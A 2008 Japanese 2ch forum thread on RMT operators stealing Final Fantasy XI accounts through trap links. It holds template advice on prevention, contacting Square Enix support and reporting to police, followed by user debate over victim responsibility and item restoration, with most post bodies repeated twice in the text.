●● RMT業者の垢ハックが多発している件11 ●●
1 ：できる限りage進行で注意喚起を：
ここは9月頃から特に顕著になってきた、RMT業者が一般プレイヤーのID・パスワードを盗んで不正にログインし、アイテムやギルを奪う事件についてのスレッドです。詳細は>>2-10くらい
前スレ→http://live27.2ch.net/test/read.cgi/ogame/1199713917/
■まとめサイト
【FF11】アカウント不正ログイン被害まとめ(過去ログあり)
http://ort.sakura.ne.jp/taisai/
FF11Warning（ハッキングに重点をおいて詳しくまとめてあります）
http://miku.a.orn.jp/miku2/
FFIX Virus問題 まとめサイト（初心者さん向け）
http://www.eonet.ne.jp/~lunaticwaltz/notvirus_ffxi/index.html
★リアルタイムで被害に遭われている方へ★
まずサポセンに電話し、不正アクセスの被害にあっていると伝えましょう(本人確認の後、対処してくれます)
■スクウェア・エニックス インフォメーションセンター
TEL:0570-003-399(PHSからは03-5333-1860）
月曜～金曜 11:00～19:00（土・日・祝・指定休日はお休み）
※サポセンが営業時間外の場合は、別アカウントを所持しているならそれでログインしてGMを呼ぶか、
他にログインできるアカウントがない場合はサポセンが開いてから電話をすることになります。
前スレ→http://live27.2ch.net/test/read.cgi/ogame/1199713917/
■まとめサイト
【FF11】アカウント不正ログイン被害まとめ(過去ログあり)
http://ort.sakura.ne.jp/taisai/
FF11Warning（ハッキングに重点をおいて詳しくまとめてあります）
http://miku.a.orn.jp/miku2/
FFIX Virus問題 まとめサイト（初心者さん向け）
http://www.eonet.ne.jp/~lunaticwaltz/notvirus_ffxi/index.html
★リアルタイムで被害に遭われている方へ★
まずサポセンに電話し、不正アクセスの被害にあっていると伝えましょう(本人確認の後、対処してくれます)
■スクウェア・エニックス インフォメーションセンター
TEL:0570-003-399(PHSからは03-5333-1860）
月曜～金曜 11:00～19:00（土・日・祝・指定休日はお休み）
※サポセンが営業時間外の場合は、別アカウントを所持しているならそれでログインしてGMを呼ぶか、
他にログインできるアカウントがない場合はサポセンが開いてから電話をすることになります。
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2 ：既にその名前は使われています：2008/01/26(土) 08:26:10.23 ID:tVMYHqSQ
■アカウントハックとは
主に中国のRMT業者（※1）がFF11関係のサイト（blogや情報サイト等）にアカウント情報を吸い出せる
罠ツールを仕掛けたサイトアドレスを貼り、FF11プレイヤーにそれを踏ませることにより
IDとpassを盗んで不正にログインし、所持アイテムやギルをを奪ってしまう（※2）行為の事です。
ログイン時にパスワードも変更され利用者本人がログイン出来なくなることも多々あります。
奪われたアイテムは各鯖にいるアイテム販売用キャラ（※3）が競売や店売りしてる模様。
※1：blogへの書き込みIP、リンクで飛んだ先のHPアドレスの所持者を調べると中国な為
※2：アイテムを奪われるだけの人も居れば、サーバー移動させられてたりキャラが消されていたり
と多種多様の報告があります。
※3：Luckshop等、確認できるだけで21の鯖にいる業者の販売担当キャラ。FFAHで履歴調べると色々分かります
主に中国のRMT業者（※1）がFF11関係のサイト（blogや情報サイト等）にアカウント情報を吸い出せる
罠ツールを仕掛けたサイトアドレスを貼り、FF11プレイヤーにそれを踏ませることにより
IDとpassを盗んで不正にログインし、所持アイテムやギルをを奪ってしまう（※2）行為の事です。
ログイン時にパスワードも変更され利用者本人がログイン出来なくなることも多々あります。
奪われたアイテムは各鯖にいるアイテム販売用キャラ（※3）が競売や店売りしてる模様。
※1：blogへの書き込みIP、リンクで飛んだ先のHPアドレスの所持者を調べると中国な為
※2：アイテムを奪われるだけの人も居れば、サーバー移動させられてたりキャラが消されていたり
と多種多様の報告があります。
※3：Luckshop等、確認できるだけで21の鯖にいる業者の販売担当キャラ。FFAHで履歴調べると色々分かります
3 ：既にその名前は使われています：2008/01/26(土) 08:27:11.28 ID:tVMYHqSQ
■予防と自衛が各プレイヤーに求められています。
被害に遭わないためにも各自でできる限りの防衛手段を身に着けておきましょう。
【公式より抜粋】
▼内容が不明なサイトにアクセスしない
（blogのレスの名前部分（HPアド）にリンクをつけてリンクアドレスを見せないようにする手口もあります。
絶対にリンクを押す前にアドレスを見る事）
▼不明なサイトにあるソフトウェアのダウンロードを不用意に行わない
▼Windows Updateを定期的に実行し、Windowsを常に最新の状態に保つ
※詳しくはマイクロソフト社の公式サイトを参照のこと。
▼利用しているWebブラウザーなどを定期的にアップデートして常に最新のプログラムを使用する
▼スクウェアエニックス社が使用を認めていない外部ツールを絶対に使用しない
▼ウイルス駆除ソフトを常に最新のバージョンで使用する
被害に遭わないためにも各自でできる限りの防衛手段を身に着けておきましょう。
【公式より抜粋】
▼内容が不明なサイトにアクセスしない
（blogのレスの名前部分（HPアド）にリンクをつけてリンクアドレスを見せないようにする手口もあります。
絶対にリンクを押す前にアドレスを見る事）
▼不明なサイトにあるソフトウェアのダウンロードを不用意に行わない
▼Windows Updateを定期的に実行し、Windowsを常に最新の状態に保つ
※詳しくはマイクロソフト社の公式サイトを参照のこと。
▼利用しているWebブラウザーなどを定期的にアップデートして常に最新のプログラムを使用する
▼スクウェアエニックス社が使用を認めていない外部ツールを絶対に使用しない
▼ウイルス駆除ソフトを常に最新のバージョンで使用する
4 ：既にその名前は使われています：2008/01/26(土) 08:27:31.23 ID:tVMYHqSQ
■具体的な自衛策
１：ウイルススキャンソフトを導入する。
・マカフィーやシマンテック、トレンドマイクロ社のソフトを有料で購入する。
・avast!などの無料ソフトをダウンロードして使用するという手もあります。
２：WindowsUpdateでWindowsを最新の状態にする
Windowsは最初にインストールしただけで万全というわけではなく、次々と発見されるセキュリティホールを
後付で修正し、それをWindowsUpdateで配布することで安全性を保つようにできています。
一般的には自動更新がされるよう設定されていますが、重いからという理由で自動更新機能を
オフにしている人もいると思います。その場合は必ず定期的に手動で更新を行ってください。
３：ファイアウォールを有効にする
・１に上げた有料ソフト等に同梱されているものや、同じ会社から出ているものを使う
・ベクターや窓の杜などでフリーのファイアウォールソフトを探し、導入する
(２ｃｈカテゴリ「ネット関係」＞「セキュリティ」板にフリーのファイアウォールソフトの
スレッドがあります。「ファイアウォール」などの単語で検索してください)
１：ウイルススキャンソフトを導入する。
・マカフィーやシマンテック、トレンドマイクロ社のソフトを有料で購入する。
・avast!などの無料ソフトをダウンロードして使用するという手もあります。
２：WindowsUpdateでWindowsを最新の状態にする
Windowsは最初にインストールしただけで万全というわけではなく、次々と発見されるセキュリティホールを
後付で修正し、それをWindowsUpdateで配布することで安全性を保つようにできています。
一般的には自動更新がされるよう設定されていますが、重いからという理由で自動更新機能を
オフにしている人もいると思います。その場合は必ず定期的に手動で更新を行ってください。
３：ファイアウォールを有効にする
・１に上げた有料ソフト等に同梱されているものや、同じ会社から出ているものを使う
・ベクターや窓の杜などでフリーのファイアウォールソフトを探し、導入する
(２ｃｈカテゴリ「ネット関係」＞「セキュリティ」板にフリーのファイアウォールソフトの
スレッドがあります。「ファイアウォール」などの単語で検索してください)
5 ：既にその名前は使われています：2008/01/26(土) 08:27:51.01 ID:tVMYHqSQ
■具体的な自衛策その２
４：IPフィルタを導入する
PeerGuardian2というフリーソフトで特定の国(この場合は特に中国)のIPへのアクセスを遮断できます
★PeerGuardian2の導入・設定方法はここから
リネージュ資料室 ttp://lineage.nyx.bne.jp/misc/security/id_basic-ipfilter.html
このURLを踏みたくない人はgoogleで『リネージュ資料室』で検索してメニューから
セキュリティー対策→IPフィルタ で確認してください。
５：ＩＥ以外のウェブブラウザを使用する
Firefox、Opera、Sleipnir、Lunascapeなど。
ただしそれぞれのブラウザにもセキュリティホールが見つかることもあるので、ブラウザ自体の
アップデートも行う必要があります。
６：不審な・見覚えの無いＵＲＬを踏む必要がある場合は、まずaguse.jpやソースチェッカーを使用する。
http://www.aguse.jp/
ＵＲＬを入力するとそのページのSSとドメイン情報、各ブラックリストに照らし合わせた結果が表示されます。
ソースチェッカーにはWEBページ上のものと、DLして使用できるフリーソフトがあります。
４：IPフィルタを導入する
PeerGuardian2というフリーソフトで特定の国(この場合は特に中国)のIPへのアクセスを遮断できます
★PeerGuardian2の導入・設定方法はここから
リネージュ資料室 ttp://lineage.nyx.bne.jp/misc/security/id_basic-ipfilter.html
このURLを踏みたくない人はgoogleで『リネージュ資料室』で検索してメニューから
セキュリティー対策→IPフィルタ で確認してください。
５：ＩＥ以外のウェブブラウザを使用する
Firefox、Opera、Sleipnir、Lunascapeなど。
ただしそれぞれのブラウザにもセキュリティホールが見つかることもあるので、ブラウザ自体の
アップデートも行う必要があります。
６：不審な・見覚えの無いＵＲＬを踏む必要がある場合は、まずaguse.jpやソースチェッカーを使用する。
http://www.aguse.jp/
ＵＲＬを入力するとそのページのSSとドメイン情報、各ブラックリストに照らし合わせた結果が表示されます。
ソースチェッカーにはWEBページ上のものと、DLして使用できるフリーソフトがあります。
6 ：既にその名前は使われています：2008/01/26(土) 08:28:12.00 ID:tVMYHqSQ
■もし被害に遭ってしまった場合
「ある日突然登録してあるパスワードでログインできなくなった」もしくは「ある日ログインすると
キャラクターのアイテムやギルが奪われていた」等の、不正アクセスと思しき被害にあった場合は、
まず>>1にあるサポセンの連絡先に電話してパスワードの再発行を受けたり、不正アクセスの被害を
受けたことを報告しましょう。
現時点(平成19年10月下旬)でのスクウェアエニックス社インフォメーションセンターの。不正アクセス被害者への
対応は、「社内の調査だけでは不正アクセスと断定することができない」という調査結果の報告のみです。
不正アクセスと断定できないとはつまり、「RMT業者に自発的にアイテムやギルを受け渡したのは
被害者本人である」ということにされている状態です。
この状態の打開及びさらなる追及を望むならば、警察への届出が必要になります。
不正アクセス行為の禁止等に関する法律、通称不正アクセス禁止法においては、
こういった事例での被害者は「不正アクセスをされた側」つまりスクウェアエニックス社になりますが、
アカウントを乗っ取られた側でも「利用権の侵害」として被害を届出することができます。
「ある日突然登録してあるパスワードでログインできなくなった」もしくは「ある日ログインすると
キャラクターのアイテムやギルが奪われていた」等の、不正アクセスと思しき被害にあった場合は、
まず>>1にあるサポセンの連絡先に電話してパスワードの再発行を受けたり、不正アクセスの被害を
受けたことを報告しましょう。
現時点(平成19年10月下旬)でのスクウェアエニックス社インフォメーションセンターの。不正アクセス被害者への
対応は、「社内の調査だけでは不正アクセスと断定することができない」という調査結果の報告のみです。
不正アクセスと断定できないとはつまり、「RMT業者に自発的にアイテムやギルを受け渡したのは
被害者本人である」ということにされている状態です。
この状態の打開及びさらなる追及を望むならば、警察への届出が必要になります。
不正アクセス行為の禁止等に関する法律、通称不正アクセス禁止法においては、
こういった事例での被害者は「不正アクセスをされた側」つまりスクウェアエニックス社になりますが、
アカウントを乗っ取られた側でも「利用権の侵害」として被害を届出することができます。
7 ：既にその名前は使われています：2008/01/26(土) 08:28:36.16 ID:tVMYHqSQ
■警察への通報方法
１：まず住んでいる都道府県警が設置しているサイバー犯罪相談窓口に相談の電話やメール送信をしておきます。
都道府県警察本部のサイバー犯罪相談窓口等一覧
http://www.npa.go.jp/cyber/soudan.htm
２：相談窓口から「所轄の警察署に直接行って相談するように」という返事が来ます。
(この段階を踏まずに直接所轄署に行くと、「専門の窓口に連絡しろ」と言われてしまう可能性があります)
３：所轄署に電話で連絡し、直接訪問して話を聞いてもらえるか確認します。
４：資料を持参して所轄の署に赴き、「利用権の侵害」での被害を報告します。
「たかがゲームのアイテムを取られたからって警察に行くなんて…」という方もいるかもしれませんが、
家族やネット上、またこのスレッド内でそういったことを言われても気にせず警察に相談しください。
利用権の侵害というのは立派な被害です。警察の方もちゃんと話を聞いてくれます。
１：まず住んでいる都道府県警が設置しているサイバー犯罪相談窓口に相談の電話やメール送信をしておきます。
都道府県警察本部のサイバー犯罪相談窓口等一覧
http://www.npa.go.jp/cyber/soudan.htm
２：相談窓口から「所轄の警察署に直接行って相談するように」という返事が来ます。
(この段階を踏まずに直接所轄署に行くと、「専門の窓口に連絡しろ」と言われてしまう可能性があります)
３：所轄署に電話で連絡し、直接訪問して話を聞いてもらえるか確認します。
４：資料を持参して所轄の署に赴き、「利用権の侵害」での被害を報告します。
「たかがゲームのアイテムを取られたからって警察に行くなんて…」という方もいるかもしれませんが、
家族やネット上、またこのスレッド内でそういったことを言われても気にせず警察に相談しください。
利用権の侵害というのは立派な被害です。警察の方もちゃんと話を聞いてくれます。
8 ：既にその名前は使われています：2008/01/26(土) 08:30:00.62 ID:tVMYHqSQ
■警察へ行く際に持っていく・用意しておくもの
過去スレで実際に警察へ行った被害者のレスから抜粋
もっていったもの †
o スクエニの会社情報 ＨＰのプリントアウトしたもの
o プレイオンラインサポセンの電話番号
受け答えしてくれたサポセンの人の名前も伝えるといいかも
↑
警察で聞かれたもの †
o プレイオンラインのＩＤとパスワード
o キャラ名
o 犯行時間帯
o 被害内容（なくなったゲーム内通貨・アイテム）
o プロバイダ
過去スレで実際に警察へ行った被害者のレスから抜粋
もっていったもの †
o スクエニの会社情報 ＨＰのプリントアウトしたもの
o プレイオンラインサポセンの電話番号
受け答えしてくれたサポセンの人の名前も伝えるといいかも
↑
警察で聞かれたもの †
o プレイオンラインのＩＤとパスワード
o キャラ名
o 犯行時間帯
o 被害内容（なくなったゲーム内通貨・アイテム）
o プロバイダ
9 ：既にその名前は使われています：2008/01/26(土) 08:30:27.72 ID:tVMYHqSQ
■このスレの目的
１：予防・自衛の徹底の周知
２：被害報告の収集
３：罠サイトurlの収集
４：被害者が現れた場合に対処をアドバイスする
★age進行(mail欄に何も書かない)でネ実民及びFF11プレイヤーへの周知と啓蒙にご協力ください
☆「スクエニ社に法的責任を！」や「誰が悪いかランキング」、「被害者の会を作れ」等の議論も
この場で行ってくださって構いませんが、スレを見に来た一見さんの質問や被害者の報告は
無視せずに対応してください。
１：予防・自衛の徹底の周知
２：被害報告の収集
３：罠サイトurlの収集
４：被害者が現れた場合に対処をアドバイスする
★age進行(mail欄に何も書かない)でネ実民及びFF11プレイヤーへの周知と啓蒙にご協力ください
☆「スクエニ社に法的責任を！」や「誰が悪いかランキング」、「被害者の会を作れ」等の議論も
この場で行ってくださって構いませんが、スレを見に来た一見さんの質問や被害者の報告は
無視せずに対応してください。
10 ：既にその名前は使われています：2008/01/26(土) 08:30:55.56 ID:tVMYHqSQ
11 ：既にその名前は使われています：2008/01/26(土) 08:31:24.63 ID:tVMYHqSQ
http://www.petitiononline.com/FFvoice/petition.html
[Click Here to Sign Petition]=請願に署名して下さる方はこちらをクリックして下さい。
Name=名前（必須） Email Address=メール（必須） Real name=本名（任意） Server name=サーバー（必須）
Email Address Privacy Option=メールアドレスプライバシーオプション
:Private=署名妥当性確保のためのメールアドレスですプライベートでスクウェアに提供されません
:Available to Petition Author=プライベートですがスクウェアに提供されます
:Public=全ての人が閲覧可能です
[Preview Your Signature]=貴方の署名を確認します
View Signatures Without Signing=署名をしないで他の署名を見ます
[Click Here to Sign Petition]=請願に署名して下さる方はこちらをクリックして下さい。
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12 ：既にその名前は使われています：2008/01/26(土) 08:50:34.03 ID:pbf5rleI
新スレ乙です。
テンプレ貼り終わったようなので上げます。
テンプレ貼り終わったようなので上げます。
13 ：前スレ709：2008/01/26(土) 09:20:28.96 ID:KS33Kccq
>>1 乙です！
14 ：既にその名前は使われています：2008/01/26(土) 09:23:52.95 ID:KS33Kccq
それと、荒らすつもりじゃないんだけど、アイテム複製って前スレであったじゃないですか。
でも、既に廃棄、店売りした物に関しては複製しているわけですよね。現行の救済ポリシーでも。
と、被害者の勝手な妄想でした。
でも、既に廃棄、店売りした物に関しては複製しているわけですよね。現行の救済ポリシーでも。
と、被害者の勝手な妄想でした。
15 ：既にその名前は使われています：2008/01/26(土) 10:46:05.64 ID:cYJEJLRc
>>14
それは複製じゃなくて復元じゃないかな。
あと、第三者に渡った場合が問題ね。
ＡがＢにアイテム盗まれて、そのＢがＣにアイテムを売った場合
Ａにアイテムを戻すと、ＡとＣ両方に同じアイテムが存在するでしょ。
それは複製じゃなくて復元じゃないかな。
あと、第三者に渡った場合が問題ね。
ＡがＢにアイテム盗まれて、そのＢがＣにアイテムを売った場合
Ａにアイテムを戻すと、ＡとＣ両方に同じアイテムが存在するでしょ。
16 ：既にその名前は使われています：2008/01/26(土) 11:05:58.06 ID:hUOhwm0/
盗んだアイテムを一端システムに返してるから、その辺りは判断がつきやすい。
ってな理由で応じてるからだろうよ。
そういえば、今回買った人間のBANがやたらと多かったけど、そのほとんどがこの垢ハック祭で流通したマネーなのかな？
そうだとして解決まで時間掛かりすぎ
ってな理由で応じてるからだろうよ。
そういえば、今回買った人間のBANがやたらと多かったけど、そのほとんどがこの垢ハック祭で流通したマネーなのかな？
そうだとして解決まで時間掛かりすぎ
17 ：既にその名前は使われています：2008/01/26(土) 11:13:11.45 ID:b8njVBQ2
>>15
その程度の複製はサーバ全体のアイテムやギル量から見れば微々たるもので
問題ないと思うのだが、どうしても複製をさせたくない人たちがいるようだ。
何億も持っている人が垢ハックされたら…と心配するのなら、個々の救済に上限を設ければいい。
（一例として）サーバ内総ギルの10万分の1まで、とか。
その程度の複製はサーバ全体のアイテムやギル量から見れば微々たるもので
問題ないと思うのだが、どうしても複製をさせたくない人たちがいるようだ。
何億も持っている人が垢ハックされたら…と心配するのなら、個々の救済に上限を設ければいい。
（一例として）サーバ内総ギルの10万分の1まで、とか。
18 ：既にその名前は使われています：2008/01/26(土) 11:25:53.55 ID:HbL94uAS
４Gamerでも垢ハックは取り扱っていないね
ツーラーの身勝手な発言でしょう？
自己責任だよね
ツーラーの身勝手な発言でしょう？
自己責任だよね
19 ：既にその名前は使われています：2008/01/26(土) 11:46:02.25 ID:KS33Kccq
ツールとか使ってないんだけどなぁｗ
ツール使用者を非難する気持ちは解らなくもないけど、垢ハックされた人＝ツール使用者って決めつけるのｲｸﾅｲと思います。
>>15
つまり、垢ハックで盗んだものを競売で売る＞知らないで誰かが買う。＞■が複製する＞多数存在って事ですか。
でも、勝手な言い分かもしれないけど獣人も装備やアイテム落とす訳で。まあ、複製じゃないにしても。
クエでもらえる報酬に関してもそう言うのありますよね。
盗まれた物の中には当然高額品もあるわけですから、それを複製されると物の価値が下がってしまうと言うのも解ります。
でも、遅かれ早かれ物の価値って下がる訳で。。。。
なんて言うか、貨幣で物のやりとりが出来るから悪いんだろうけど。
自分はこれからは出来る限りエクレアで装備関係はそろえるようにしました。
ツール使用者を非難する気持ちは解らなくもないけど、垢ハックされた人＝ツール使用者って決めつけるのｲｸﾅｲと思います。
>>15
つまり、垢ハックで盗んだものを競売で売る＞知らないで誰かが買う。＞■が複製する＞多数存在って事ですか。
でも、勝手な言い分かもしれないけど獣人も装備やアイテム落とす訳で。まあ、複製じゃないにしても。
クエでもらえる報酬に関してもそう言うのありますよね。
盗まれた物の中には当然高額品もあるわけですから、それを複製されると物の価値が下がってしまうと言うのも解ります。
でも、遅かれ早かれ物の価値って下がる訳で。。。。
なんて言うか、貨幣で物のやりとりが出来るから悪いんだろうけど。
自分はこれからは出来る限りエクレアで装備関係はそろえるようにしました。
20 ：既にその名前は使われています：2008/01/26(土) 11:56:38.46 ID:KS33Kccq
連書きすみません。
自己責任を連呼してる方へ。
確かに自己責任だと思います。
でも、垢ハックをしてる人は、明らかに盗む意志があってやってるわけで。
wikiなんかの罠リンクを踏むなんて自己防衛が甘いと言われても仕方ないのかもしれません。
でも、ネットやPCに詳しい人ばかりがFFしてる訳じゃないと思います。
罠リンクとかに対する警告も■としてはつい最近始めたばかりな訳で。
やっぱり、企業としてはもっとセキュリティ対策を講じるべきだと思うんですよ。
自己責任を連呼してる方へ。
確かに自己責任だと思います。
でも、垢ハックをしてる人は、明らかに盗む意志があってやってるわけで。
wikiなんかの罠リンクを踏むなんて自己防衛が甘いと言われても仕方ないのかもしれません。
でも、ネットやPCに詳しい人ばかりがFFしてる訳じゃないと思います。
罠リンクとかに対する警告も■としてはつい最近始めたばかりな訳で。
やっぱり、企業としてはもっとセキュリティ対策を講じるべきだと思うんですよ。
21 ：既にその名前は使われています：2008/01/26(土) 12:07:33.03 ID:cYJEJLRc
>>17
複製するって行為自体が問題なんだよ。
アイテムの複製ってのはそう簡単にやっていいものじゃないでしょ。
ネトゲにおいてはね。
>>20
罠サイト云々は知らないけど垢ハックについてはだいぶ前から■も告知してたぞ？
ネットを使う以上、詳しくないから、で済まさず
ちゃんとセキュリティに気を使うのは常識だと思う。ＦＦとか関係なくね。
複製するって行為自体が問題なんだよ。
アイテムの複製ってのはそう簡単にやっていいものじゃないでしょ。
ネトゲにおいてはね。
>>20
罠サイト云々は知らないけど垢ハックについてはだいぶ前から■も告知してたぞ？
ネットを使う以上、詳しくないから、で済まさず
ちゃんとセキュリティに気を使うのは常識だと思う。ＦＦとか関係なくね。
22 ：既にその名前は使われています：2008/01/26(土) 12:22:37.78 ID:KS33Kccq
>>21
レスありがとうございます。勉強になります。
セキュリティに関しては、正直甘かったのかなって思います。
ウィルスバスターを常に最新版にして、怪しげなサイトは見ない様にしてる程度でした。
そこに介在する「悪意」に対しては全くの無防備だったんでしょうね。
でも、それって大多数の人がその程度何じゃないかなって思います。
学者を上げたい、どうすればいいかな、とりあえず学者wikiでも見てみよう。
知らないうちに最新版のウィルスに感染させられた。そして偶然ピックアップされて盗まれた。
FFやるならそれ専用のPCとかもてれば良いんですけど、そういう人ばかりじゃないと思うんです。
レスありがとうございます。勉強になります。
セキュリティに関しては、正直甘かったのかなって思います。
ウィルスバスターを常に最新版にして、怪しげなサイトは見ない様にしてる程度でした。
そこに介在する「悪意」に対しては全くの無防備だったんでしょうね。
でも、それって大多数の人がその程度何じゃないかなって思います。
学者を上げたい、どうすればいいかな、とりあえず学者wikiでも見てみよう。
知らないうちに最新版のウィルスに感染させられた。そして偶然ピックアップされて盗まれた。
FFやるならそれ専用のPCとかもてれば良いんですけど、そういう人ばかりじゃないと思うんです。
23 ：既にその名前は使われています：2008/01/26(土) 12:34:36.01 ID:fC5QmWYq
まずインターネットの基本は自己責任。
それも理解できないなら インターネットしないほうがいいよ。
ままんが段差のこと注意してくれなかったからころんじゃった。
もっとちゃんと注意してよって 言ってるようなもん。
POLから直接抜かれている報告を目にしたことはないから
パスがスクエニから抜かれてることはほとんどないんだろう。
隠蔽してるとしたら もっとすごいことになってると思うよ。
ここまで 【日本語はわかりますか？】
つまりパスはスクエニとは関係なくぬかれてる＝ネットセキュリティの問題
それについて どこまでスクエニが告知責任を持つかといったら 現状程度のものしかできないんじゃない？
それと 救済の話 救済って単語を使われる意味が【わかりますか？】
仮に複製するとかロールバックするってことになったらハクられてもいいやって奴が増えるよ？
救済されるもんねーって風潮になるだろう？
それは問題あるだろ。
あとは 買い手がいなきゃ市場は成り立たない。
アカ売りスレの伸びをみてるとプレーヤーの意識の低さが気になるよ。
それも理解できないなら インターネットしないほうがいいよ。
ままんが段差のこと注意してくれなかったからころんじゃった。
もっとちゃんと注意してよって 言ってるようなもん。
POLから直接抜かれている報告を目にしたことはないから
パスがスクエニから抜かれてることはほとんどないんだろう。
隠蔽してるとしたら もっとすごいことになってると思うよ。
ここまで 【日本語はわかりますか？】
つまりパスはスクエニとは関係なくぬかれてる＝ネットセキュリティの問題
それについて どこまでスクエニが告知責任を持つかといったら 現状程度のものしかできないんじゃない？
それと 救済の話 救済って単語を使われる意味が【わかりますか？】
仮に複製するとかロールバックするってことになったらハクられてもいいやって奴が増えるよ？
救済されるもんねーって風潮になるだろう？
それは問題あるだろ。
あとは 買い手がいなきゃ市場は成り立たない。
アカ売りスレの伸びをみてるとプレーヤーの意識の低さが気になるよ。
24 ：既にその名前は使われています：2008/01/26(土) 12:35:27.27 ID:UM84WPlc
>>10
テンプレ読んだ後だと踏めないのが人情。
>>21
んじゃやっぱ仮想財産保険でも作ってもらって
他ユーザーに渡ってしまった垢ハック被害者のアイテムを
その時払った対価と問答無用で交換する様にしてもらわないとダメだねｗ
つうかRMTの買い手の方もリアル取引無視で
そうやって没収すりゃいいのに。
テンプレ読んだ後だと踏めないのが人情。
>>21
んじゃやっぱ仮想財産保険でも作ってもらって
他ユーザーに渡ってしまった垢ハック被害者のアイテムを
その時払った対価と問答無用で交換する様にしてもらわないとダメだねｗ
つうかRMTの買い手の方もリアル取引無視で
そうやって没収すりゃいいのに。
25 ：既にその名前は使われています：2008/01/26(土) 12:37:59.22 ID:axKxtud3
>>22
自分の認識の甘さを盾にしようとしても無理がありすぎる。
扱っているものの危険性なんて、調べようと思えばいくらでも調べられるはず。
抜かれたこと自体は気の毒だけれど、知らなかったからというのは理由にはできないよ。
自分の認識の甘さを盾にしようとしても無理がありすぎる。
扱っているものの危険性なんて、調べようと思えばいくらでも調べられるはず。
抜かれたこと自体は気の毒だけれど、知らなかったからというのは理由にはできないよ。
26 ：既にその名前は使われています：2008/01/26(土) 12:38:34.65 ID:HbL94uAS
>>22
私もその程度です。
でも今のところハッキングされていないです。
スクウェアにも強化して欲しいところはありますけど、公式で言われているとおり落ち度はない。
もしかしたら貴方は偶然被害にあったわけで可哀想ですけど、残念でしたとしか言い様は無いです。
しかしそれとアイテム救済は別の問題ですね。
ほんとご愁傷様としか言えないですけど。
被害者が全て保護されるようになればそれは非情に良いですが・・・
現実世界と同じで、実際には相もいかないわけで・・・
ほんとうにご愁傷様。
私に出来ることはそれくらいなので・・・
私もその程度です。
でも今のところハッキングされていないです。
スクウェアにも強化して欲しいところはありますけど、公式で言われているとおり落ち度はない。
もしかしたら貴方は偶然被害にあったわけで可哀想ですけど、残念でしたとしか言い様は無いです。
しかしそれとアイテム救済は別の問題ですね。
ほんとご愁傷様としか言えないですけど。
被害者が全て保護されるようになればそれは非情に良いですが・・・
現実世界と同じで、実際には相もいかないわけで・・・
ほんとうにご愁傷様。
私に出来ることはそれくらいなので・・・
27 ：既にその名前は使われています：2008/01/26(土) 12:39:28.06 ID:Irve4XId
>>21
警告が、WEBのPOLだけってのが、■eの怠慢だと思うんだが…
「アンチウィルスソフト使ってない」
「WindowsUpdateを実行していない」
てのは、まあ、確かにユーザ側の甘さかもしれんが、
現状こういった被害が続出しています、っていうのを
全ユーザの目にとまる形で発表しないのはおかしいよ。
FFログイン時の、バージョンアップのお知らせみたいに
あそこで警告出さないとダメだろ。
システムメッセージでもいい。
文面乗せるくらいなら、コストもそうかからない。
■eが、五月蠅いくらいに警告を出してる、っていうんだったら
自己責任って言っても良いかもしれんがな。
自分の知識や環境を、皆が同じように持っていると思うなよ。
警告が、WEBのPOLだけってのが、■eの怠慢だと思うんだが…
「アンチウィルスソフト使ってない」
「WindowsUpdateを実行していない」
てのは、まあ、確かにユーザ側の甘さかもしれんが、
現状こういった被害が続出しています、っていうのを
全ユーザの目にとまる形で発表しないのはおかしいよ。
FFログイン時の、バージョンアップのお知らせみたいに
あそこで警告出さないとダメだろ。
システムメッセージでもいい。
文面乗せるくらいなら、コストもそうかからない。
■eが、五月蠅いくらいに警告を出してる、っていうんだったら
自己責任って言っても良いかもしれんがな。
自分の知識や環境を、皆が同じように持っていると思うなよ。
28 ：既にその名前は使われています：2008/01/26(土) 12:41:29.91 ID:UM84WPlc
めんどくさいから言い訳せずに垢ハックの保証してくれって事を主張した方が良いんじゃないの？
29 ：既にその名前は使われています：2008/01/26(土) 12:41:40.51 ID:HbL94uAS
30 ：既にその名前は使われています：2008/01/26(土) 12:42:56.03 ID:KS33Kccq
そうですか。
甘さを盾にしようとは思ってないんですけどね。
ただ、FFユーザーの中には当然子供やPCやネットに詳しくない人が大勢いるわけですし、
そういう人が最低限のセキュリティ対策をしたところでどうにもならないですよって事ですか。
そういう人たちはFF怖くて出来なくなっちゃいますね。
荒れてしまうと思うので今日はこれで。
また保守にきますｗ
甘さを盾にしようとは思ってないんですけどね。
ただ、FFユーザーの中には当然子供やPCやネットに詳しくない人が大勢いるわけですし、
そういう人が最低限のセキュリティ対策をしたところでどうにもならないですよって事ですか。
そういう人たちはFF怖くて出来なくなっちゃいますね。
荒れてしまうと思うので今日はこれで。
また保守にきますｗ
31 ：既にその名前は使われています：2008/01/26(土) 12:43:27.73 ID:axKxtud3
必ず読め という規約はないだろうが、
金払って遊んでるｹﾞｰﾑのニュース項目に目も通さない時点でどうかと思う。
金払って遊んでるｹﾞｰﾑのニュース項目に目も通さない時点でどうかと思う。
32 ：既にその名前は使われています：2008/01/26(土) 12:44:11.24 ID:axKxtud3
33 ：既にその名前は使われています：2008/01/26(土) 12:45:40.43 ID:TTOVlzjS
アンチウィルスソフトを導入している
毎日アンチウィルスでスキャンを行っている
毎日ウィンドウズディフェンダーでフルスキャンを行っている
週１でオンラインスキャンを行っている
にも関わらず垢をハックされたら自己責任なの？
毎日アンチウィルスでスキャンを行っている
毎日ウィンドウズディフェンダーでフルスキャンを行っている
週１でオンラインスキャンを行っている
にも関わらず垢をハックされたら自己責任なの？
34 ：既にその名前は使われています：2008/01/26(土) 12:47:32.75 ID:ODmMQSI9
35 ：既にその名前は使われています：2008/01/26(土) 12:48:00.12 ID:Irve4XId
>>29
1月24日分には、
外部プログラムにウィルスが混入している可能性がある、
位しか書いてないぞ。＞POL
WEBの方から引用するけど
>主な原因としては、ゲームの攻略サイトやブログなどのリンクを経由した、
>不審なWebサイトの閲覧やファイルのダウンロードなどが考えられます。
>これによりコンピューターが「トロイの木馬」
>「キーロガー」といったプログラムに感染し、
>本人も気づかないうちにプレイオンラインIDや
>プレイオンラインパスワードが盗まれてしまいます。
これをPOLに乗せろって話。
5月11日に告知して以来載せてないのは何で？
1回で良いの？そうじゃないだろ？
1月24日分には、
外部プログラムにウィルスが混入している可能性がある、
位しか書いてないぞ。＞POL
WEBの方から引用するけど
>主な原因としては、ゲームの攻略サイトやブログなどのリンクを経由した、
>不審なWebサイトの閲覧やファイルのダウンロードなどが考えられます。
>これによりコンピューターが「トロイの木馬」
>「キーロガー」といったプログラムに感染し、
>本人も気づかないうちにプレイオンラインIDや
>プレイオンラインパスワードが盗まれてしまいます。
これをPOLに乗せろって話。
5月11日に告知して以来載せてないのは何で？
1回で良いの？そうじゃないだろ？
36 ：既にその名前は使われています：2008/01/26(土) 12:48:03.97 ID:axKxtud3
